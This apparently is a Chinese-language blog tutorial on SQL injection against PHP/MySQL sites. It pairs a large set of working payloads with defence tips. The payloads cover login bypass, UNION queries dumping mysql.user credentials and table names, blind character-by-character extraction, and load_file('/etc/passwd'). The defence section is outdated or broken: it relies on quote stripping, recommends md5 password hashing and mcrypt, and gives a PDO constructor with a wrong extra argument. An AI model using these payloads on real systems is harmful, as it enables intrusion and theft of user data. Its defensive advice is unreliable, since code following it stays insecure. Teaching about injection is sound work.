SQL Injection 常見的駭客攻擊方式
Sql Injection 應該可以說是目前網路上,駭客最常用的攻擊方式,因為攻擊方式簡單,又不需要使用任何軟體,或是自行撰寫程式。講到 SQL,就要提到資料庫,大多數的網站都會安裝資料庫伺服器(Database),其實 Database 並不是什麼可怕的東西,Database 的功能就是將資料依序儲存下來,然後以最快的速度,找出你想要的資料,而在尋找資料之前,你必須輸入 Database 指令,你輸入的這串指令,我們就稱為 SQL 語法。
Sql Injection 就是指 SQL 語法上的漏洞,藉由特殊字元,改變語法上的邏輯,駭客就能取得資料庫的所有內容,當然也包含了會員的帳號,密碼,下面就舉一個SQL登入漏洞:
一個有會員登入功能的網站,都會需要輸入帳號與密碼來進行驗證
而後端程式,如 PHP 就必需支援相關的登入檢查,判定 User 輸入的帳號、密碼是否正確,來確定登入是否成功 ,PHP 執行的 SQL 語法如下,這是一個簡單的 SQL 語法,主要功能是從 members 這個資料表中,取出符合 User 所輸入帳號與密碼的會員資料。
select * from members where account='$name' and password='$password'
但若是駭客輸入有特殊字元的帳號:「 ' or 1=1 /* 」,密碼:「任意值」
這時SQL語法就會變成:
select * from members where account='' or 1=1 /*' and password=''
因為「/*」在 MySQL 語法中代表註解的意思,所以「/*」後面的字串通通沒有執行,而這句判斷式「1=1」永遠成立,駭客就能登入此網站成功。
SQL 語法的註解
SQL 註解的語法有以下三種,不同的 SQL 版本,會吃不同的語法。
- 「/*」 MySQL
- 「--」 MsSQL
- 「#」 MySQL , # 對於 browser 來說是有意義的,那是錨點的意思,所有必須先透過 Url Encode 後的代碼 「%23」 來代替。
防護方式
Sql Injection攻擊很簡單,不過防護也不難,只要過瀘字串「'」,即可,當然如果你的SQL語法寫得很糟,保險的做法是過瀘「' " 」等字串,並檢查變數型態「數字、字元、字串」,另外會員的密碼最好是經過加密,如 md5 或 Double md5 演算法加密,這樣就能避免資料外洩時,密碼也同時外洩,還有要特別注意,md5 目前已經有破解方式,改用 mcrypt 會是更好的加密方式。
PHP 過瀘 SQL Injection 的語法:
$name = preg_replace("/[\'\"]+/" , '' ,$name);
另一種過瀘方式
- $str = "'\"";
- $replace = array("'" => "'", "\"" => """);
- $str = strtr($str, $replace);
Sql Injection的攻擊方式會因不同的資料庫而有不同的語法, 如 MsSQL的註解是用 「--」MySQL的另一個註解是用 「#」
SQL Injection 攻擊
取得 Table name
如果網站連接 database 使用的帳號,有權限讀取 INFORMATION_SCHEMA database,這樣就能直接搜尋任何一個 table 名稱,如
- [Oracle]: or EXISTS(SELECT 1 FROM dual WHERE database() LIKE '%xxx%') AND ''='
- [MySQL]: or EXISTS(SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA like '%xxxx%') AND ''='
- union select%20host,user,password fROM mysql.user limit 1,1#
- union select engine, table_rows, table_name from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA not in ('information_schema') limit 1,1#
- union select host,db,user from mysql.db limit 1,1 #
取得所有資料庫名稱
- sqlInjection.php?id=1' union select distinct table_schema from information_schema.tables;
- sqlInjection.php?id=1' union select group_concat(table_schema) from information_schema.tables;
取得所有資料表名稱
- sqlInjection.php?id=1' union select group_concat(table_name) from information_schema.tables--
一般來說,information_schema 這個資料庫是沒有權限讀取的,尤其是市面上常見的虛擬主機,大部分的虛擬主機只能使用伺服器給的控制台來新增資料庫,沒辦法透過程式讀取所有的資料庫,這時駭客們會開始用猜的方式,來取得資料表的名稱,例如會員資料常會使用的 table 名稱為 users , members 等等。
猜測 table name 的 SQL Injection 如下,使用 or exists(select 1 from members);
- sqlInjection.php?id=1' or exists(select 1 from members)/*
- sqlInjection.php?id=1' or exists(select 1 from admin)%23
- sqlInjection.php?id=1' or exists(select 1 from products)--
暴力猜測 Table Name
資料表的名稱不一定都是英文單字,有些工程師會使用怪怪的命名,這時駭客還是可以使用暴力破解的方式,將 Table Name 拼出來。
SQL 有個 function : substring ,這個功能可以對字串做切割,駭客可以先將「字串」切割成一個字元。
接著使用 ord 將字元轉成 Ascii Code ,然後去比對他的 Ascii Code 是否 = 32~ 127 , a = 97, b = 98
看一個範例,我要比對 information_schema.tables 第一筆資料的第一個 table_name ,其中的第一個字元。
- id=1' and 97=(select ord(substring(table_name, 1,1) from information_schema.tables limit 0,1)--
- id=1' and 98=(select ord(substring(table_name, 1,1) from information_schema.tables limit 0,1)--
- id=1' and 99=(select ord(substring(table_name, 1,1) from information_schema.tables limit 0,1)--
再看一個範例,我要比對 information_schema.tables 第一筆資料的第一個 table_name ,其中的第二個字元。
- id=1' and 97=(select ord(substring(table_name, 2,1) from information_schema.tables limit 0,1)--
- id=1' and 98=(select ord(substring(table_name, 2,1) from information_schema.tables limit 0,1)--
- id=1' and 99=(select ord(substring(table_name, 2,1) from information_schema.tables limit 0,1)--
取得 MySQL 資料庫相關訊息
取得連線帳號 user()
- sqlInjection.php?id=1' select 1,2,user()/*
取得 Mysql 版本 version()
- sqlInjection.php?id=1' select 1,2,version()/*
讀取系統檔案內容
透過 mysql 的 method 「load_file」,駭客就能輕易取得網站的檔案內容。
- union select 1,2,load_file('/etc/passwd')
使用 PDO 防止 SQL Injection
http://us3.php.net/manual/en/book.pdo.php
PDO 是一個可以 query 資料庫的程式,我們能夠透過 PDO 連到 Mysql server,重要的是 PDO 有提供 SQL Injection 的防護機制,使用 bindValue 的方式,PDO 會自動檢查數據格式,並轉換特殊字元,再將 User Input 填入 SQL 語法中。
PDO 使用方式
- $db = new PDO ("mysql:dbname=test;host=localhost;port=3306", '', 'username', 'password', array( PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES \'UTF8\'');
- $sth = $db->prepare('select * from table where id =:id and title= :title ');
- $sth->bindValue(':id', $_GET['id'], PDO::PARAM_INT);
- $sth->bindValue(':title', $_GET['title'], PDO::PARAM_STR);
- $sth->execute();
- $sth->fetch(PDO::FETCH_ASSOC);
- PDO::PARAM_INT 數字
- PDO::PARAM_STR 字串
沒有留言:
張貼留言